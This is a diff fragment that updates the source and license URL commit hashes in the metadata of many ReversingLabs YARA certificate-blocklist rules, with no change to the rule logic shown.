 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12218-L12234"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12218-L12234"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "67a975f2806825bf0da27fcaf33c2ff497fe9bb2af12c22ff505b49070516960"
 		score = 75
 		quality = 90
@@ -17781,8 +17834,8 @@ rule REVERSINGLABS_Cert_Blocklist_Afc0Ddb7Bdc8207E8C3B7204018Eecd3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12236-L12254"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12236-L12254"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "302e2d6b31ca5c2c33c4ec7294630fd88a9c40f70ddecdc606ccff27b24e1cd4"
 		score = 75
 		quality = 90
@@ -17806,8 +17859,8 @@ rule REVERSINGLABS_Cert_Blocklist_38989Ec61Ecdb7391Ff5647F7D58Ad18 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12256-L12272"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12256-L12272"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1795812d4daa458b157280cac7a9b13e9b67a2d78eac077691bbce2bf8aeec34"
 		score = 75
 		quality = 90
@@ -17831,8 +17884,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bc6C43D206A360F2D6B58537C456B709 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12274-L12292"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12274-L12292"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "eb5288d2b96ff7a7783c2b2b02f9f1168784352ed84ad6463dce00c12daca6cb"
 		score = 75
 		quality = 90
@@ -17856,8 +17909,8 @@ rule REVERSINGLABS_Cert_Blocklist_4929Ab561C812Af93Ddb9758B545F546 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12294-L12310"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12294-L12310"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "12235e324b92b83e9cfaed7cbcff5d093b8b1d7528dd5ac327159cde6e9a4d1f"
 		score = 75
 		quality = 90
@@ -17881,8 +17934,8 @@ rule REVERSINGLABS_Cert_Blocklist_25C6Dbce3D5499F65D9Df16E9007465D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12312-L12328"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12312-L12328"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "978f05f86734c63afe1e5929a58f3cfff75ef749ffda07252db90b6fe12508ec"
 		score = 75
 		quality = 90
@@ -17906,8 +17959,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bc6A1812E001362469541108973Bbd52 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12330-L12348"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12330-L12348"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9b678e9fb1e1eda3ac8e027b5e449af446de4379fea46ef7ff820240c73795ee"
 		score = 75
 		quality = 90
@@ -17931,8 +17984,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bde1D6Dc3622724F427A39E6A34F5124 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12350-L12368"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12350-L12368"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f1cf0b6855269a771447a0b38f4a02996b6527d7df4b143b69598ed591719ca0"
 		score = 75
 		quality = 90
@@ -17956,8 +18009,8 @@ rule REVERSINGLABS_Cert_Blocklist_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12370-L12386"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12370-L12386"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a61bcc4a90a75a429366e3f93929005b67325eccc6cad3df6b7a0c3692597828"
 		score = 75
 		quality = 90
@@ -17981,8 +18034,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E889Bb3B7F7194B674C6A0335A608E0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12388-L12404"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12388-L12404"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fa2a47f4fb822089fcc958850ce516c8c5d95a6d9b575f3b1d1d4a2ceb2537e4"
 		score = 75
 		quality = 90
@@ -18006,8 +18059,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F62F760704Bdf8Dc30C7Baa7376F484 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12406-L12422"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12406-L12422"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d54d52e116b9404782ce80664f218d2e142577dac672c53c41b82f0466c7375a"
 		score = 75
 		quality = 90
@@ -18031,8 +18084,8 @@ rule REVERSINGLABS_Cert_Blocklist_071202Dbfda40B629C5E7Acac947C2D3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12424-L12440"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12424-L12440"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cc51b0ae6a59f68e61ee0b4ff33ea0e1ee9ef04e4c994e1c98da6befab62a5b9"
 		score = 75
 		quality = 90
@@ -18056,8 +18109,8 @@ rule REVERSINGLABS_Cert_Blocklist_98Ab9585C04D7F0E4Cf4De98C14B684D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12442-L12460"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12442-L12460"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ba43dd15b13623bb99d88c93fb9e751deb95a546325a1142d9137b25430d07fd"
 		score = 75
 		quality = 90
@@ -18081,8 +18134,8 @@ rule REVERSINGLABS_Cert_Blocklist_4631713E66E91347F0388B98Cf747794 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12462-L12478"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12462-L12478"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cb517cda67150b7e17ee3bd946903e8e8eca81742a362032249a2f2387e71c50"
 		score = 75
 		quality = 90
@@ -18106,8 +18159,8 @@ rule REVERSINGLABS_Cert_Blocklist_E963F8983D21B4C1A69C66A9D37498E5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12480-L12498"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12480-L12498"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7c715e28f003351d10ba53657e9e667b635a0e4433276d91d26f4482a61191d"
 		score = 75
 		quality = 90
@@ -18131,8 +18184,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E44Fcedd49F22F7A28Cecc99104F61A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12500-L12516"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12500-L12516"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "caff0cbca45c0dffb673367585824783371f2f4e31a0c9629afb7de708098892"
 		score = 75
 		quality = 90
@@ -18156,8 +18209,8 @@ rule REVERSINGLABS_Cert_Blocklist_35B49Ee870Aea532E6Ef0A4987105C8F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12518-L12534"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12518-L12534"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a9d8e9db453f40e32a0cb6412db8885db54053fdf3d7908b884361a493f97b1f"
 		score = 75
 		quality = 90
@@ -18181,8 +18234,8 @@ rule REVERSINGLABS_Cert_Blocklist_063Dcd7D7B0Bc77Cac844C7213Be3989 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12536-L12552"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12536-L12552"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "091d00b0731f0a3d9917eee945249f001e4b5b1b603cad2fc21eed70ec86aa99"
 		score = 75
 		quality = 90
@@ -18206,8 +18259,8 @@ rule REVERSINGLABS_Cert_Blocklist_6F8777Aa866142Ad7120E5E1C9321E37 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12554-L12570"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12554-L12570"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ca3ff0c7192ba90932d35d053712816555dea051ce15d29a7ccf4e37da989899"
 		score = 75
 		quality = 90
@@ -18231,8 +18284,8 @@ rule REVERSINGLABS_Cert_Blocklist_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12572-L12588"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12572-L12588"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6dc2bfac77117e294cacc772f7bfaea8b2e3caa26a0afd3729d517e91ca20ea5"
 		score = 75
 		quality = 90
@@ -18256,8 +18309,8 @@ rule REVERSINGLABS_Cert_Blocklist_F5F9C8F8C33E4Ce84Dd48Fcb03Ccb075 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12590-L12608"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12590-L12608"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ac3bab3f5a93099f39b0862b419346d1eb3d0f75d86e121ba30626d496c46c57"
 		score = 75
 		quality = 90
@@ -18281,8 +18334,8 @@ rule REVERSINGLABS_Cert_Blocklist_57Fc55239F21F139978609E323097132 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12610-L12626"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12610-L12626"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "030bb847e524e672ee382e0284ba3f027920f60c70bbd153d4b9cdd2669e6a99"
 		score = 75
 		quality = 90
@@ -18306,8 +18359,8 @@ rule REVERSINGLABS_Cert_Blocklist_Eeefec4308Abe63323600E1608F5E6F2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12628-L12646"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12628-L12646"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "71ab4bd7e85155bfbc1612941c5f15c409629b116258c38b79bd808512df006a"
 		score = 75
 		quality = 90
@@ -18331,8 +18384,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ecd460Ce14Bd8Ef2926Da2Cd9A44176 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12648-L12664"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12648-L12664"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58fa244c125415ef7a3cf0feb79add4db7c84f94c23e5d27e840fb17c18d67ef"
 		score = 75
 		quality = 90
@@ -18356,8 +18409,8 @@ rule REVERSINGLABS_Cert_Blocklist_5E75E997F3D70Bb8C182D56B25B7D836 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12666-L12682"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12666-L12682"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a2c6a57759fb0717951f83a32c00deeae82cad772b6cb7f60fa96232b6b82560"
 		score = 75
 		quality = 90
@@ -18381,8 +18434,8 @@ rule REVERSINGLABS_Cert_Blocklist_D5690D94F15315E143Db10Af35497Dc5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12684-L12702"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12684-L12702"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4ac17d0f0e4ef2bb5f6cda8e7cb07a641d49c83465a0a80c46ff6e0e752d1847"
 		score = 75
 		quality = 90
@@ -18406,8 +18459,8 @@ rule REVERSINGLABS_Cert_Blocklist_8223C74185Add0927246F5E33Ebac467 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12704-L12722"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12704-L12722"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f700b4f7cdfda9f678c3a5259d4293640c50567ec277c5b3db69756534e2007f"
 		score = 75
 		quality = 90
@@ -18431,8 +18484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Dd9E9E1D7C573714E3F567C5380Ae6D0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12724-L12742"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12724-L12742"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7bbcdb989d53bafbb2bdb694be72d4f7305323c01e8f1eafcb7cd889df165ff6"
 		score = 75
 		quality = 90
@@ -18456,8 +18509,8 @@ rule REVERSINGLABS_Cert_Blocklist_3D5E71 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12744-L12760"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12744-L12760"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "aa73ac6569e4bb0084d7b148b2186ec2737a691a133319b21b666aa16bca9f2d"
 		score = 75
 		quality = 90
@@ -18481,8 +18534,8 @@ rule REVERSINGLABS_Cert_Blocklist_C33187Fe848A65E8484Ea492Cb2Cbb18 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12762-L12780"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
